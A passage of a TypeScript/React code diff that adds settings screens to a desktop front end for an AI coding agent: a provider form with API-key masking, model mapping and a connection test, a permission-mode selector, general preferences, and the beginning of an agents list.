+function maskSettingsJsonSecrets(raw: string, apiKey: string): string {
+  if (!apiKey.trim()) return raw
+  try {
+    const parsed = JSON.parse(raw) as { env?: Record<string, unknown> }
+    if (!parsed.env || typeof parsed.env !== 'object') return raw
+    let changed = false
+    for (const key of API_KEY_JSON_KEYS) {
+      if (parsed.env[key] === apiKey) {
+        parsed.env[key] = API_KEY_JSON_PLACEHOLDER
+        changed = true
+      }
+    }
+    return changed ? JSON.stringify(parsed, null, 2) : raw
+  } catch {
+    return raw
+  }
+}
+
+function restoreSettingsJsonSecrets<T>(settings: T, apiKey: string): T {
+  if (!apiKey.trim() || !settings || typeof settings !== 'object') return settings
+  const parsed = settings as { env?: Record<string, unknown> }
+  if (!parsed.env || typeof parsed.env !== 'object') return settings
+  for (const key of API_KEY_JSON_KEYS) {
+    if (parsed.env[key] === API_KEY_JSON_PLACEHOLDER) {
+      parsed.env[key] = apiKey
+    }
+  }
+  return settings
+}
+
+function ProviderFormModal({ open, onClose, mode, provider, presets }: ProviderFormProps) {
+  const { createProvider, updateProvider, testConfig } = useProviderStore()
+  const fetchSettings = useSettingsStore((s) => s.fetchAll)
+  const t = useTranslation()
+
+  const availablePresets = presets.filter((p) => p.id !== 'official')
+  const regularPresets = availablePresets.filter((p) => !p.featured)
+  const featuredPresets = availablePresets.filter((p) => p.featured)
+  const presetDefaultEnvKeys = useMemo(
+    () => new Set(presets.flatMap((preset) => Object.keys(preset.defaultEnv ?? {}))),
+    [presets],
+  )
+  const fallbackPreset = provider
+    ? buildFallbackPreset(provider)
+    : requirePreset(availablePresets[availablePresets.length - 1])
+  const initialPreset = requirePreset(
+    provider
+      ? availablePresets.find((p) => p.id === provider.presetId) ?? fallbackPreset
+      : availablePresets[0] ?? fallbackPreset,
+  )
+
+  const [selectedPreset, setSelectedPreset] = useState<ProviderPreset>(initialPreset)
+  const [name, setName] = useState(provider?.name ?? initialPreset.name)
+  const [baseUrl, setBaseUrl] = useState(provider?.baseUrl ?? initialPreset.baseUrl)
+  const [apiFormat, setApiFormat] = useState<ApiFormat>(provider?.apiFormat ?? initialPreset.apiFormat ?? 'anthropic')
+  const [apiKey, setApiKey] = useState(provider?.apiKey ?? '')
+  const [showApiKey, setShowApiKey] = useState(false)
+  const [notes, setNotes] = useState(provider?.notes ?? '')
+  const [models, setModels] = useState<ModelMapping>(provider?.models ?? { ...initialPreset.defaultModels })
+  const [isSubmitting, setIsSubmitting] = useState(false)
+  const [testResult, setTestResult] = useState<ProviderTestResult | null>(null)
+  const [isTesting, setIsTesting] = useState(false)
+  const [settingsJson, setSettingsJson] = useState('')
+  const [settingsJsonError, setSettingsJsonError] = useState<string | null>(null)
+  const jsonPastedRef = useRef(false)
+
+  // Load current settings.json and merge provider env vars
+  useEffect(() => {
+    // Skip if JSON was just populated by user paste
+    if (jsonPastedRef.current) {
+      jsonPastedRef.current = false
+      return
+    }
+    import('../api/providers').then(({ providersApi }) => {
+      providersApi.getSettings().then((settings) => {
+        const needsProxy = apiFormat !== 'anthropic'
+        const existingEnv = (settings.env as Record<string, string>) || {}
+        const cleanedEnv = Object.fromEntries(
+          Object.entries(existingEnv).filter(([key]) => !presetDefaultEnvKeys.has(key)),
+        )
+        const merged = {
+          ...settings,
+          skipWebFetchPreflight: settings.skipWebFetchPreflight ?? true,
+          env: {
+            ...cleanedEnv,
+            ...(selectedPreset.defaultEnv ?? {}),
+            ANTHROPIC_BASE_URL: needsProxy ? 'http://127.0.0.1:3456/proxy' : baseUrl,
+            ANTHROPIC_AUTH_TOKEN: needsProxy
+              ? 'proxy-managed'
+              : (apiKey || selectedPreset.defaultEnv?.ANTHROPIC_AUTH_TOKEN || (selectedPreset.needsApiKey ? '(your API key)' : '')),
+            ANTHROPIC_MODEL: models.main,
+            ANTHROPIC_DEFAULT_HAIKU_MODEL: models.haiku,
+            ANTHROPIC_DEFAULT_SONNET_MODEL: models.sonnet,
+            ANTHROPIC_DEFAULT_OPUS_MODEL: models.opus,
+          },
+        }
+        setSettingsJson(JSON.stringify(merged, null, 2))
+      }).catch(() => {
+        setSettingsJson(JSON.stringify({}, null, 2))
+      })
+    })
+  // eslint-disable-next-line react-hooks/exhaustive-deps
+  }, [selectedPreset.id])
+
+  const handlePresetChange = (preset: ProviderPreset) => {
+    setSelectedPreset(preset)
+    setName(preset.name)
+    setBaseUrl(preset.baseUrl)
+    setApiFormat(preset.apiFormat ?? 'anthropic')
+    setModels({ ...preset.defaultModels })
+    setTestResult(null)
+  }
+
+  const isCustom = selectedPreset.id === 'custom'
+  const requiresApiKey = selectedPreset.needsApiKey !== false
+  const canSubmit = name.trim() && baseUrl.trim() && (mode === 'edit' || !requiresApiKey || apiKey.trim()) && models.main.trim() && !settingsJsonError
+  const apiKeyUrl = selectedPreset.apiKeyUrl?.trim()
+  const promoText = selectedPreset.promoText?.trim()
+  const displayedSettingsJson = showApiKey
+    ? settingsJson
+    : maskSettingsJsonSecrets(settingsJson, apiKey)
+  const apiFormatItems = [
+    {
+      value: 'anthropic' as const,
+      label: t('settings.providers.apiFormatAnthropic'),
+      icon: <span className="material-symbols-outlined text-[17px]">hub</span>,
+    },
+    {
+      value: 'openai_chat' as const,
+      label: t('settings.providers.apiFormatOpenaiChat'),
+      icon: <span className="material-symbols-outlined text-[17px]">forum</span>,
+    },
+    {
+      value: 'openai_responses' as const,
+      label: t('settings.providers.apiFormatOpenaiResponses'),
+      icon: <span className="material-symbols-outlined text-[17px]">route</span>,
+    },
+  ]
+  const selectedApiFormatLabel = apiFormatItems.find((item) => item.value === apiFormat)?.label ?? t('settings.providers.apiFormatAnthropic')
+  const renderPresetButton = (preset: ProviderPreset) => (
+    <button
+      key={preset.id}
+      onClick={() => handlePresetChange(preset)}
+      className={`px-3 py-1.5 text-xs font-medium rounded-full border transition-all ${
+        selectedPreset.id === preset.id
+          ? 'border-[var(--color-brand)] bg-[var(--color-surface-container-high)] text-[var(--color-brand)] shadow-[var(--shadow-focus-ring)]'
+          : 'border-[var(--color-border)] text-[var(--color-text-secondary)] hover:border-[var(--color-border-focus)] hover:bg-[var(--color-surface-hover)]'
+      }`}
+    >
+      {preset.name}
+    </button>
+  )
+
+  const handleSubmit = async () => {
+    if (!canSubmit) return
+    setIsSubmitting(true)
+    try {
+      // Write the edited cc-haha settings.json first so provider-specific model
+      // settings never conflict with the user's global ~/.claude/settings.json.
+      if (settingsJson.trim()) {
+        try {
+          const parsed = restoreSettingsJsonSecrets(JSON.parse(settingsJson), apiKey)
+          const { providersApi } = await import('../api/providers')
+          await providersApi.updateSettings(parsed)
+        } catch {
+          // JSON validation already prevents this
+        }
+      }
+
+      if (mode === 'create') {
+        await createProvider({
+          presetId: selectedPreset.id,
+          name: name.trim(),
+          apiKey: apiKey.trim(),
+          baseUrl: baseUrl.trim(),
+          apiFormat,
+          models,
+          notes: notes.trim() || undefined,
+        })
+      } else if (provider) {
+        const input: UpdateProviderInput = {
+          name: name.trim(),
+          baseUrl: baseUrl.trim(),
+          apiFormat,
+          models,
+          notes: notes.trim() || undefined,
+        }
+        if (apiKey.trim()) input.apiKey = apiKey.trim()
+        await updateProvider(provider.id, input)
+      }
+      await fetchSettings()
+      onClose()
+    } catch (err) {
+      console.error('Failed to save provider:', err)
+    } finally {
+      setIsSubmitting(false)
+    }
+  }
+
+  const handleTest = async () => {
+    if (!baseUrl.trim() || !models.main.trim()) return
+    setIsTesting(true)
+    setTestResult(null)
+    try {
+      let result: ProviderTestResult
+      if (mode === 'edit' && provider && !apiKey.trim()) {
+        result = await useProviderStore.getState().testProvider(provider.id, {
+          baseUrl: baseUrl.trim(),
+          modelId: models.main.trim(),
+          apiFormat,
+        })
+      } else {
+        if (requiresApiKey && !apiKey.trim()) return
+        result = await testConfig({
+          baseUrl: baseUrl.trim(),
+          apiKey: apiKey.trim() || selectedPreset.defaultEnv?.ANTHROPIC_AUTH_TOKEN || 'local',
+          modelId: models.main.trim(),
+          apiFormat,
+        })
+      }
+      setTestResult(result)
+    } catch {
+      setTestResult({ connectivity: { success: false, latencyMs: 0, error: t('settings.providers.requestFailed') } })
+    } finally {
+      setIsTesting(false)
+    }
+  }
+
+  return (
+    <Modal
+      open={open}
+      onClose={onClose}
+      title={mode === 'create' ? t('settings.providers.addTitle') : t('settings.providers.editTitle')}
+      width={720}
+      footer={
+        <>
+          <Button variant="secondary" onClick={onClose}>{t('common.cancel')}</Button>
+          <Button onClick={handleSubmit} disabled={!canSubmit} loading={isSubmitting}>
+            {mode === 'create' ? t('common.add') : t('common.save')}
+          </Button>
+        </>
+      }
+    >
+      <div className="flex flex-col gap-4">
+        {/* Preset chips */}
+        {mode === 'create' && (
+          <div>
+            <label className="text-sm font-medium text-[var(--color-text-primary)] mb-2 block">{t('settings.providers.preset')}</label>
+            <div className="flex flex-col gap-2">
+              <div className="flex flex-wrap gap-2">
+                {regularPresets.map(renderPresetButton)}
+              </div>
+              {featuredPresets.length > 0 && (
+                <div className="flex flex-wrap gap-2 border-t border-[var(--color-border)]/60 pt-2">
+                  {featuredPresets.map(renderPresetButton)}
+                </div>
+              )}
+            </div>
+          </div>
+        )}
+
+        <Input label={t('settings.providers.name')} required value={name} onChange={(e) => setName(e.target.value)} placeholder={t('settings.providers.namePlaceholder')} />
+
+        <Input label={t('settings.providers.notes')} value={notes} onChange={(e) => setNotes(e.target.value)} placeholder={t('settings.providers.notesPlaceholder')} />
+
+        <Input label={t('settings.providers.baseUrl')} required value={baseUrl} onChange={(e) => setBaseUrl(e.target.value)} placeholder={t('settings.providers.baseUrlPlaceholder')} />
+
+        {/* API Format */}
+        {(isCustom || mode === 'edit') ? (
+          <div>
+            <label className="text-sm font-medium text-[var(--color-text-primary)] mb-1 block">{t('settings.providers.apiFormat')}</label>
+            <Dropdown<ApiFormat>
+              items={apiFormatItems}
+              value={apiFormat}
+              onChange={setApiFormat}
+              width="100%"
+              className="block w-full"
+              trigger={
+                <button
+                  type="button"
+                  className="flex h-10 w-full items-center gap-3 rounded-[var(--radius-md)] border border-[var(--color-border)] bg-[var(--color-surface)] px-3 text-left text-sm text-[var(--color-text-primary)] outline-none transition-colors hover:border-[var(--color-border-focus)] hover:bg-[var(--color-surface-container-low)] focus-visible:border-[var(--color-border-focus)] focus-visible:shadow-[var(--shadow-focus-ring)]"
+                >
+                  <span className="min-w-0 flex-1 truncate">{selectedApiFormatLabel}</span>
+                  <span className="material-symbols-outlined flex-shrink-0 text-[18px] text-[var(--color-text-secondary)]">expand_more</span>
+                </button>
+              }
+            />
+            {apiFormat !== 'anthropic' && (
+              <p className="text-[11px] text-[var(--color-text-tertiary)] mt-1">{t('settings.providers.proxyHint')}</p>
+            )}
+          </div>
+        ) : apiFormat !== 'anthropic' ? (
+          <div>
+            <label className="text-sm font-medium text-[var(--color-text-primary)] mb-1 block">{t('settings.providers.apiFormat')}</label>
+            <div className="text-xs text-[var(--color-text-tertiary)] px-3 py-2 rounded-[var(--radius-md)] bg-[var(--color-surface-container-low)] border border-[var(--color-border)]">
+              {apiFormat === 'openai_chat' ? t('settings.providers.apiFormatOpenaiChat') : t('settings.providers.apiFormatOpenaiResponses')}
+            </div>
+          </div>
+        ) : null}
+
+        <div className="flex flex-col gap-1">
+          <label htmlFor="provider-api-key" className="text-sm font-medium text-[var(--color-text-primary)]">
+            {t('settings.providers.apiKey')}
+            {mode === 'create' && requiresApiKey && <span className="text-[var(--color-error)] ml-0.5">*</span>}
+          </label>
+          <div className="relative">
+            <input
+              id="provider-api-key"
+              type={showApiKey ? 'text' : 'password'}
+              value={apiKey}
+              onChange={(e) => setApiKey(e.target.value)}
+              placeholder="sk-..."
+              className="h-10 w-full rounded-[var(--radius-md)] border border-[var(--color-border)] bg-[var(--color-surface)] px-3 pr-10 text-sm text-[var(--color-text-primary)] outline-none transition-colors duration-150 placeholder:text-[var(--color-text-tertiary)] focus:border-[var(--color-border-focus)] focus:shadow-[var(--shadow-focus-ring)]"
+            />
+            <button
+              type="button"
+              onClick={() => setShowApiKey((visible) => !visible)}
+              aria-label={showApiKey ? 'Hide API Key' : 'Show API Key'}
+              className="absolute right-1.5 top-1/2 flex h-7 w-7 -translate-y-1/2 cursor-pointer items-center justify-center rounded-[var(--radius-sm)] text-[var(--color-text-tertiary)] transition-colors hover:bg-[var(--color-surface-hover)] hover:text-[var(--color-text-primary)] focus:outline-none focus:shadow-[var(--shadow-focus-ring)]"
+            >
+              <span className="material-symbols-outlined text-[16px]">
+                {showApiKey ? 'visibility_off' : 'visibility'}
+              </span>
+            </button>
+          </div>
+        </div>
+
+        {(apiKeyUrl || promoText) && (
+          <div className="-mt-2 flex flex-col gap-1.5">
+            {apiKeyUrl && (
+              <button
+                type="button"
+                onClick={() => openExternalUrl(apiKeyUrl)}
+                className="group inline-flex h-6 w-fit cursor-pointer items-center gap-1 rounded-[var(--radius-sm)] border border-[var(--color-border)] bg-[var(--color-surface-container-low)] px-1.5 text-[11px] font-medium leading-none text-[var(--color-brand)] transition-colors hover:border-[var(--color-border-focus)] hover:bg-[var(--color-surface-hover)] focus:outline-none focus:shadow-[var(--shadow-focus-ring)]"
+              >
+                <span className="material-symbols-outlined text-[13px]">key</span>
+                {t('settings.providers.getApiKey')}
+                <span className="material-symbols-outlined text-[9px] opacity-60 transition-transform group-hover:-translate-y-0.5 group-hover:translate-x-0.5">arrow_outward</span>
+              </button>
+            )}
+            {promoText && (
+              <button
+                type="button"
+                onClick={() => apiKeyUrl && openExternalUrl(apiKeyUrl)}
+                disabled={!apiKeyUrl}
+                className="group flex w-full cursor-pointer items-start gap-1.5 rounded-[var(--radius-sm)] border border-[var(--color-brand)]/25 bg-[var(--color-brand)]/8 px-2.5 py-1.5 text-left text-[11px] leading-5 text-[var(--color-text-primary)] transition-colors hover:border-[var(--color-brand)]/45 hover:bg-[var(--color-brand)]/12 focus:outline-none focus:shadow-[var(--shadow-focus-ring)] disabled:cursor-default disabled:hover:border-[var(--color-brand)]/25 disabled:hover:bg-[var(--color-brand)]/8"
+              >
+                <span className="material-symbols-outlined mt-0.5 text-[13px] text-[var(--color-brand)]">tips_and_updates</span>
+                <span>{promoText}</span>
+                {apiKeyUrl && (
+                  <span className="material-symbols-outlined ml-auto mt-1 text-[10px] text-[var(--color-brand)] opacity-45 transition-transform group-hover:-translate-y-0.5 group-hover:translate-x-0.5">arrow_outward</span>
+                )}
+              </button>
+            )}
+          </div>
+        )}
+
+        {/* Model Mapping */}
+        <div>
+          <label className="text-sm font-medium text-[var(--color-text-primary)] mb-2 block">{t('settings.providers.modelMapping')}</label>
+          <div className="grid grid-cols-2 gap-2">
+            <Input label={t('settings.providers.mainModel')} required value={models.main} onChange={(e) => setModels({ ...models, main: e.target.value })} placeholder="Model ID" />
+            <Input label={t('settings.providers.haikuModel')} value={models.haiku} onChange={(e) => setModels({ ...models, haiku: e.target.value })} placeholder={t('settings.providers.sameAsMain')} />
+            <Input label={t('settings.providers.sonnetModel')} value={models.sonnet} onChange={(e) => setModels({ ...models, sonnet: e.target.value })} placeholder={t('settings.providers.sameAsMain')} />
+            <Input label={t('settings.providers.opusModel')} value={models.opus} onChange={(e) => setModels({ ...models, opus: e.target.value })} placeholder={t('settings.providers.sameAsMain')} />
+          </div>
+        </div>
+
+        {/* Test connection */}
+        <div className="flex items-center gap-3">
+          <Button variant="secondary" size="sm" onClick={handleTest} loading={isTesting} disabled={!baseUrl.trim() || !models.main.trim()}>
+            {t('settings.providers.testConnection')}
+          </Button>
+          {testResult && (
+            <div className="flex flex-col gap-0.5">
+              <span className={`text-xs ${testResult.connectivity.success ? 'text-[var(--color-success)]' : 'text-[var(--color-error)]'}`}>
+                {testResult.connectivity.success
+                  ? t('settings.providers.connectivityOk', { latency: String(testResult.connectivity.latencyMs) })
+                  : t('settings.providers.connectivityFailed', { error: testResult.connectivity.error || '' })}
+              </span>
+              {testResult.proxy && (
+                <span className={`text-xs ${testResult.proxy.success ? 'text-[var(--color-success)]' : 'text-[var(--color-error)]'}`}>
+                  {testResult.proxy.success
+                    ? t('settings.providers.proxyOk', { latency: String(testResult.proxy.latencyMs) })
+                    : t('settings.providers.proxyFailed', { error: testResult.proxy.error || '' })}
+                </span>
+              )}
+            </div>
+          )}
+        </div>
+
+        {/* Settings JSON — editable, shown for all presets including official */}
+        <div>
+          <label className="text-sm font-medium text-[var(--color-text-primary)] mb-2 block">{t('settings.providers.settingsJson')}</label>
+          <textarea
+            value={displayedSettingsJson}
+            onChange={(e) => {
+              const raw = e.target.value
+              try {
+                const parsed = restoreSettingsJsonSecrets(JSON.parse(raw), apiKey)
+                setSettingsJson(JSON.stringify(parsed, null, 2))
+                setSettingsJsonError(null)
+                // Auto-fill form fields from parsed JSON env
+                const env = parsed.env as Record<string, string> | undefined
+                if (env) {
+                  if (env.ANTHROPIC_BASE_URL) {
+                    setBaseUrl(env.ANTHROPIC_BASE_URL)
+                    // Auto-switch to matching preset or Custom
+                    if (mode === 'create') {
+                      const matchedPreset = availablePresets.find((p) => p.id !== 'custom' && p.baseUrl === env.ANTHROPIC_BASE_URL)
+                      const targetPreset = requirePreset(
+                        matchedPreset ?? availablePresets.find((p) => p.id === 'custom'),
+                      )
+                      if (targetPreset.id !== selectedPreset.id) {
+                        jsonPastedRef.current = true
+                        setSelectedPreset(targetPreset)
+                      }
+                    }
+                  }
+                  const nextApiKey = env.ANTHROPIC_AUTH_TOKEN || env.ANTHROPIC_API_KEY
+                  if (nextApiKey && nextApiKey !== '(your API key)' && nextApiKey !== API_KEY_JSON_PLACEHOLDER) {
+                    setApiKey(nextApiKey)
+                  }
+                  const newModels: Partial<ModelMapping> = {}
+                  if (env.ANTHROPIC_MODEL) newModels.main = env.ANTHROPIC_MODEL
+                  if (env.ANTHROPIC_DEFAULT_HAIKU_MODEL) newModels.haiku = env.ANTHROPIC_DEFAULT_HAIKU_MODEL
+                  if (env.ANTHROPIC_DEFAULT_SONNET_MODEL) newModels.sonnet = env.ANTHROPIC_DEFAULT_SONNET_MODEL
+                  if (env.ANTHROPIC_DEFAULT_OPUS_MODEL) newModels.opus = env.ANTHROPIC_DEFAULT_OPUS_MODEL
+                  if (Object.keys(newModels).length > 0) {
+                    setModels((prev) => ({ ...prev, ...newModels }))
+                  }
+                }
+              } catch (err) {
+                setSettingsJson(raw)
+                setSettingsJsonError(err instanceof Error ? err.message : 'Invalid JSON')
+              }
+            }}
+            rows={16}
+            spellCheck={false}
+            className={`w-full text-xs px-3 py-3 rounded-[var(--radius-md)] bg-[var(--color-surface-container-low)] border font-mono leading-relaxed resize-y text-[var(--color-text-secondary)] outline-none ${
+              settingsJsonError
+                ? 'border-[var(--color-error)] focus:border-[var(--color-error)]'
+                : 'border-[var(--color-border)] focus:border-[var(--color-border-focus)]'
+            }`}
+          />
+          {settingsJsonError && (
+            <p className="text-[11px] text-[var(--color-error)] mt-1">{t('settings.providers.jsonError', { error: settingsJsonError })}</p>
+          )}
+          <p className="text-[11px] text-[var(--color-text-tertiary)] mt-1">{t('settings.providers.settingsJsonDesc')}</p>
+        </div>
+      </div>
+    </Modal>
+  )
+}
+
+
+// ─── Permission Settings ──────────────────────────────────────
+
+function PermissionSettings() {
+  const { permissionMode, setPermissionMode } = useSettingsStore()
+  const t = useTranslation()
+
+  const MODES: Array<{ mode: PermissionMode; icon: string; label: string; desc: string }> = [
+    { mode: 'default', icon: 'verified_user', label: t('settings.permissions.default'), desc: t('settings.permissions.defaultDesc') },
+    { mode: 'acceptEdits', icon: 'edit_note', label: t('settings.permissions.acceptEdits'), desc: t('settings.permissions.acceptEditsDesc') },
+    { mode: 'plan', icon: 'architecture', label: t('settings.permissions.plan'), desc: t('settings.permissions.planDesc') },
+    { mode: 'bypassPermissions', icon: 'bolt', label: t('settings.permissions.bypass'), desc: t('settings.permissions.bypassDesc') },
+  ]
+
+  return (
+    <div className="max-w-xl">
+      <h2 className="text-base font-semibold text-[var(--color-text-primary)] mb-1">{t('settings.permissions.title')}</h2>
+      <p className="text-sm text-[var(--color-text-tertiary)] mb-4">{t('settings.permissions.description')}</p>
+
+      <div className="flex flex-col gap-2">
+        {MODES.map(({ mode, icon, label, desc }) => {
+          const isSelected = permissionMode === mode
+          return (
+            <button
+              key={mode}
+              onClick={() => setPermissionMode(mode)}
+              className={`flex items-center gap-3 px-4 py-3 rounded-xl border transition-all text-left ${
+                isSelected
+                  ? 'border-[var(--color-brand)] bg-[var(--color-surface-container)] shadow-[var(--shadow-focus-ring)]'
+                  : 'border-[var(--color-border)] hover:border-[var(--color-border-focus)] hover:bg-[var(--color-surface-hover)]'
+              }`}
+            >
+              <span className="material-symbols-outlined text-[20px] text-[var(--color-text-secondary)]">{icon}</span>
+              <div className="flex-1">
+                <div className="text-sm font-semibold text-[var(--color-text-primary)]">{label}</div>
+                <div className="text-xs text-[var(--color-text-tertiary)]">{desc}</div>
+              </div>
+              {isSelected && (
+                <span className="material-symbols-outlined text-[18px] text-[var(--color-brand)]" style={{ fontVariationSettings: "'FILL' 1" }}>
+                  check_circle
+                </span>
+              )}
+            </button>
+          )
+        })}
+      </div>
+    </div>
+  )
+}
+
+// ─── General Settings ──────────────────────────────────────
+
+function GeneralSettings() {
+  const {
+    effortLevel,
+    setEffort,
+    locale,
+    setLocale,
+    theme,
+    setTheme,
+    skipWebFetchPreflight,
+    setSkipWebFetchPreflight,
+  } = useSettingsStore()
+  const t = useTranslation()
+
+  const EFFORT_LABELS: Record<EffortLevel, string> = {
+    low: t('settings.general.effort.low'),
+    medium: t('settings.general.effort.medium'),
+    high: t('settings.general.effort.high'),
+    max: t('settings.general.effort.max'),
+  }
+
+  const LANGUAGES: Array<{ value: Locale; label: string }> = [
+    { value: 'en', label: 'English' },
+    { value: 'zh', label: '中文' },
+  ]
+
+  const THEMES: Array<{ value: ThemeMode; label: string }> = [
+    { value: 'light', label: t('settings.general.appearance.light') },
+    { value: 'dark', label: t('settings.general.appearance.dark') },
+  ]
+
+  return (
+    <div className="max-w-xl">
+      {/* Appearance selector */}
+      <h2 className="text-base font-semibold text-[var(--color-text-primary)] mb-1">{t('settings.general.appearanceTitle')}</h2>
+      <p className="text-sm text-[var(--color-text-tertiary)] mb-3">{t('settings.general.appearanceDescription')}</p>
+      <div className="flex gap-2 mb-8">
+        {THEMES.map(({ value, label }) => (
+          <button
+            key={value}
+            onClick={() => void setTheme(value)}
+            className={`flex-1 py-2 text-xs font-semibold rounded-lg border transition-all ${
+              theme === value
+                ? 'bg-[image:var(--gradient-btn-primary)] text-[var(--color-btn-primary-fg)] border-transparent shadow-[var(--shadow-button-primary)]'
+                : 'border-[var(--color-border)] text-[var(--color-text-secondary)] hover:bg-[var(--color-surface-hover)]'
+            }`}
+          >
+            {label}
+          </button>
+        ))}
+      </div>
+
+      {/* Language selector */}
+      <h2 className="text-base font-semibold text-[var(--color-text-primary)] mb-1">{t('settings.general.languageTitle')}</h2>
+      <p className="text-sm text-[var(--color-text-tertiary)] mb-3">{t('settings.general.languageDescription')}</p>
+      <div className="flex gap-2 mb-8">
+        {LANGUAGES.map(({ value, label }) => (
+          <button
+            key={value}
+            onClick={() => setLocale(value)}
+            className={`flex-1 py-2 text-xs font-semibold rounded-lg border transition-all ${
+              locale === value
+                ? 'bg-[var(--color-brand)] text-white border-[var(--color-brand)]'
+                : 'border-[var(--color-border)] text-[var(--color-text-secondary)] hover:bg-[var(--color-surface-hover)]'
+            }`}
+          >
+            {label}
+          </button>
+        ))}
+      </div>
+
+      {/* Effort Level */}
+      <h2 className="text-base font-semibold text-[var(--color-text-primary)] mb-1">{t('settings.general.effortTitle')}</h2>
+      <p className="text-sm text-[var(--color-text-tertiary)] mb-3">{t('settings.general.effortDescription')}</p>
+      <div className="flex gap-2">
+        {(['low', 'medium', 'high', 'max'] as EffortLevel[]).map((level) => (
+          <button
+            key={level}
+            onClick={() => setEffort(level)}
+            className={`flex-1 py-2 text-xs font-semibold rounded-lg border transition-all ${
+              effortLevel === level
+                ? 'bg-[var(--color-brand)] text-white border-[var(--color-brand)]'
+                : 'border-[var(--color-border)] text-[var(--color-text-secondary)] hover:bg-[var(--color-surface-hover)]'
+            }`}
+          >
+            {EFFORT_LABELS[level]}
+          </button>
+        ))}
+      </div>
+
+      <div className="mt-8">
+        <h2 className="text-base font-semibold text-[var(--color-text-primary)] mb-1">{t('settings.general.webFetchPreflightTitle')}</h2>
+        <p className="text-sm text-[var(--color-text-tertiary)] mb-3">{t('settings.general.webFetchPreflightDescription')}</p>
+        <label className="flex items-start gap-3 rounded-xl border border-[var(--color-border)] bg-[var(--color-surface-container-low)] px-4 py-3 cursor-pointer hover:border-[var(--color-border-focus)] transition-colors">
+          <input
+            type="checkbox"
+            aria-label={t('settings.general.webFetchPreflightEnabled')}
+            checked={skipWebFetchPreflight}
+            onChange={(e) => void setSkipWebFetchPreflight(e.target.checked)}
+            className="mt-0.5 h-4 w-4 rounded border-[var(--color-border)] text-[var(--color-brand)] focus:ring-[var(--color-brand)]"
+          />
+          <div className="min-w-0">
+            <div className="text-sm font-medium text-[var(--color-text-primary)]">
+              {t('settings.general.webFetchPreflightEnabled')}
+            </div>
+            <div className="text-xs text-[var(--color-text-tertiary)] mt-1 leading-5">
+              {t('settings.general.webFetchPreflightHint')}
+            </div>
+          </div>
+        </label>
+      </div>
+    </div>
+  )
+}
+
+// ─── Agents Settings ──────────────────────────────────────
+
+const AGENT_COLORS: Record<string, string> = {
+  red: '#ef4444',
+  orange: '#f97316',
+  yellow: '#eab308',
+  green: '#22c55e',
+  blue: '#3b82f6',
+  purple: '#a855f7',
+  pink: '#ec4899',
+  cyan: '#06b6d4',
+}
+
+const AGENT_SOURCE_ORDER: AgentSource[] = [
+  'userSettings',
+  'projectSettings',
+  'localSettings',
+  'policySettings',
+  'plugin',
+  'flagSettings',
+  'built-in',
+]
+
+function AgentsSettings() {
+  const {
+    activeAgents,
+    allAgents,
+    isLoading,
+    error,
+    selectedAgent,
+    selectedAgentReturnTab,
+    fetchAgents,
+    selectAgent,
+  } = useAgentStore()
+  const sessions = useSessionStore((s) => s.sessions)
+  const activeSessionId = useSessionStore((s) => s.activeSessionId)
+  const t = useTranslation()
+
+  const activeSession = sessions.find((s) => s.id === activeSessionId)
+  const currentWorkDir = activeSession?.workDir || undefined
+
+  useEffect(() => {
+    void fetchAgents(currentWorkDir)
+  }, [fetchAgents, currentWorkDir])
+
+  const groupedAgents = useMemo(() => {
+    const groups: Partial<Record<AgentSource, AgentDefinition[]>> = {}
+    for (const agent of allAgents) {
+      ;(groups[agent.source] ??= []).push(agent)
+    }
+    return groups
+  }, [allAgents])
+
+  const sourceCount = AGENT_SOURCE_ORDER.filter((source) => (groupedAgents[source] ?? []).length > 0).length
+
+  const handleAgentBack = () => {
+    const returnTab = selectedAgentReturnTab
+    selectAgent(null)
+    if (returnTab === 'plugins') {
+      useUIStore.getState().setPendingSettingsTab('plugins')
+    }
+  }
+
+  if (selectedAgent) {
+    return (
+      <div className="w-full min-w-0">
+        <AgentDetailView agent={selectedAgent} onBack={handleAgentBack} />
+      </div>
+    )
+  }
+
+  return (
+    <div className="w-full min-w-0">
+      {isLoading && allAgents.length === 0 ? (
+        <div className="flex justify-center py-12">
+          <div className="animate-spin w-5 h-5 border-2 border-[var(--color-brand)] border-t-transparent rounded-full" />
+        </div>
+      ) : error ? (
+        <div className="text-center py-12 px-4">
+          <span className="material-symbols-outlined text-[40px] text-[var(--color-error)] mb-3 block">error_outline</span>
+          <p className="text-sm text-[var(--color-error)] mb-2">{error}</p>
+          <button
+            onClick={() => void fetchAgents(currentWorkDir)}
+            className="text-xs text-[var(--color-text-accent)] hover:underline"
+          >
+            {t('common.retry')}
+          </button>
+        </div>
+      ) : allAgents.length === 0 ? (
+        <div className="text-center py-12 px-4 rounded-2xl border border-dashed border-[var(--color-border)] bg-[var(--color-surface-container-low)]">
+          <span className="material-symbols-outlined text-[40px] text-[var(--color-text-tertiary)] mb-3 block">smart_toy</span>
+          <p className="text-sm text-[var(--color-text-secondary)] mb-1">{t('settings.agents.empty')}</p>
+          <p className="text-xs text-[var(--color-text-tertiary)]">{t('settings.agents.emptyHint')}</p>
+        </div>
+      ) : (
+        <div className="flex flex-col gap-6 min-w-0">
+          <section className="rounded-2xl border border-[var(--color-border)] bg-[var(--color-surface-container-low)] overflow-hidden">
+            <div className="grid gap-4 px-5 py-5 min-w-0 xl:grid-cols-[minmax(0,1.6fr)_minmax(320px,1fr)] xl:items-end">
+              <div className="min-w-0">
+                <div className="text-[11px] font-semibold uppercase tracking-[0.2em] text-[var(--color-text-tertiary)] mb-2">
+                  {t('settings.agents.browserEyebrow')}
+                </div>
+                <div className="flex items-center gap-3 mb-2">
+                  <span className="material-symbols-outlined text-[22px] text-[var(--color-brand)]">
+                    smart_toy
+                  </span>
+                  <h3 className="text-lg font-semibold text-[var(--color-text-primary)]">
+                    {t('settings.agents.browserTitle')}
+                  </h3>
+                </div>
+                <p className="text-sm leading-6 text-[var(--color-text-secondary)] max-w-3xl">
+                  {t('settings.agents.description')}
+                </p>
+              </div>
+
+              <div className="grid grid-cols-2 gap-3 min-w-0 sm:grid-cols-3">
+                <SummaryCard
+                  label={t('settings.agents.summary.totalAgents')}
+                  value={String(allAgents.length)}
+                  icon="smart_toy"
+                />
+                <SummaryCard
+                  label={t('settings.agents.summary.activeAgents')}
+                  value={String(activeAgents.length)}
+                  icon="bolt"
+                />
+                <SummaryCard
+                  label={t('settings.agents.summary.sources')}
+                  value={String(sourceCount)}
+                  icon="layers"
+                  className="col-span-2 sm:col-span-1"
+                />
+              </div>
+            </div>
+          </section>
+
+          <div className={`grid gap-4 ${sourceCount >= 2 ? 'xl:grid-cols-2' : ''}`}>
+            {AGENT_SOURCE_ORDER.map((source) => {
